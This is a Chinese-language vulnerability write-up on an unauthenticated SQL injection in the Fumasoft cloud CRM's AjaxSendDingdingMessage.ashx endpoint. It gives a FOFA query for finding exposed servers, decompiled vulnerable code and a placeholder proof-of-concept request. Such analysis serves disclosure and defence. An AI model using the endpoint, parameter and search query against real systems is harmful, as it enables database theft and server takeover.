孚盟云CRM AjaxSendDingdingMessage.ashx SQL注入漏洞


漏洞简介

上海孚盟软件有限公司是一家专业的外贸SaaS服务和行业解决方案提供商。其旗下产品孚盟云AjaxSendDingdingMessage.ashx接口存在SQL注入漏洞,未经身份验证的远程攻击者除了可以利用 SQL注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。

影响版本

fofa语法

app="孚盟软件-孚盟云"

漏洞分析

直接看 AjaxSendDingdingMessage.ashx 对应的dll文件 FumaCRM_BS.NewWeb.dll 里有关 AjaxSendDingdingMessage 方法的实现如下

try
{
  string empId = context.Request["empId"] == null ? "" : context.Request["empId"];
  if (string.IsNullOrWhiteSpace(empId))
  {
    o.Status = "E";
    o.Message = "empId is empty";
    context.Response.Write(JSON.Encode((object) o));
  }
  else
  {
    string str = context.Request["action"] == null ? "" : context.Request["action"];
    if (!string.IsNullOrWhiteSpace(str))
    {
      if (string.op_Equality(str, "SendDingMeg_Mail"))
        this.SendDingMeg_Mail(context, empId);
      else if (string.op_Equality(str, "StopSendDingdingMessage"))
        this.StopSendDingdingMessage(context, empId);
      else if (string.op_Equality(str, "GetSendDingdingMessageFlag"))
      {
        this.GetSendDingdingMessageFlag(context, empId);
      }
      else
      {
        if (!string.op_Equality(str, "SaveSendDingdingMessageFlag"))
          return;
        this.SaveSendDingdingMessageFlag(context, empId);
      }
    }

当 method=SendDingMeg_Mail 时,进入SendDingMeg_Mail方法

private void SendDingMeg_Mail(HttpContext context, string empId)
{
  ResultMessage resultMessage = new ResultMessage();
  ResultMessage o = this.SendDingMeg_Mail(context.Request["agentId"] == null ? "" : context.Request["agentId"], context.Request["headText"] == null ? "" : context.Request["headText"], context.Request["bodyTitle"] == null ? "" : context.Request["bodyTitle"], context.Request["bodyContent"] == null ? "" : context.Request["bodyContent"], context.Request["bodyFormList"] == null ? "" : context.Request["bodyFormList"], context.Request["messageUrl"] == null ? "" : context.Request["messageUrl"], empId, context);
  context.Response.Write(JSON.Encode((object) o));
}

跟进 SendDingMeg_Mail 方法

public ResultMessage SendDingMeg_Mail(
  string agentId,
  string headText,
  string bodyTitle,
  string bodyContent,
  string bodyForm,
  string messageUrl,
  string empId,
  HttpContext context = null)
{
  ResultMessage resultMessage = new ResultMessage();
  try
  {
    object single = this.dbHelper.GetSingle($"select SendCount from sySendDingdingMessage where EmpId = '{empId}' and SendDate = '{DateTime.Now.ToString("yyyy-MM-dd")}'");

最终可以看到,未经过滤或参数化绑定的参数 empId 被直接拼接进SQL语句中进行执行,造成SQL注入漏洞。

其他当 action=StopSendDingdingMessage、GetSendDingdingMessageFlag和SaveSendDingdingMessageFlag时,均存在SQL注入漏洞。

漏洞复现

GET /m/Dingding/Ajax/AjaxSendDingdingMessage.ashx?method=SendDingMeg_Mail&empId=SQLI_POC HTTP/1.1
Host: fumacrm.mrxn.net

成功通过报错注入在响应回显数据库版本信息


手机扫码阅读

索贝融媒体 /sobey-mchEditor/mch/TestInt/reUploadBase64 SQL注入漏洞

索贝融媒体 /sobey-mchEditor/mch/Articlelist/articleExamineExport SQL注入漏洞

评 论